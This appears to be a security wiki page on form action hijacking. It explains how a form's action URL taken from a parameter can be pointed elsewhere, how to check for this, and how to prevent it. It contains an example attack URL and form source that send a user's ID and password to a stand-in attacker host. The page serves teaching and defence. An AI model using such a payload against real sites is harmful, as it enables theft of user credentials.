| layout | col-sidebar |
|---|---|
| title | Form action hijacking |
| author | Robert Gilbert (amroot) |
| contributors | |
| permalink | /attacks/Form_action_hijacking |
| tags | attack, Form action hijacking |
| auto-migrated | 1 |
{% include writers.html %}
Form action hijacking allows an attacker to specify the action URL of a form via a paramter. An attacker can construct a URL that will modify the action URL of a form to point to the attacker's server. Form content including CSRF tokens, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL.
Check parameter values passed to the form action. See example below.
Hard-code the form action URL or use an allowed list of permitted URLs.
The following URL will generate the a form and set the "url" parameter as the from action URL. When the form is submitted, the ID and password will be sent to the attacker's site.
URL:
https://vulnerablehost.com/?url=https://attackersite.com
Source:
<form name="form1" id="form1" method="post" action="https://attackersite.com">
<input type="text" name="id" value="user name">
<input type="password" name="pass" value="password">
<input type="submit" name="submit" value="Submit">
</form>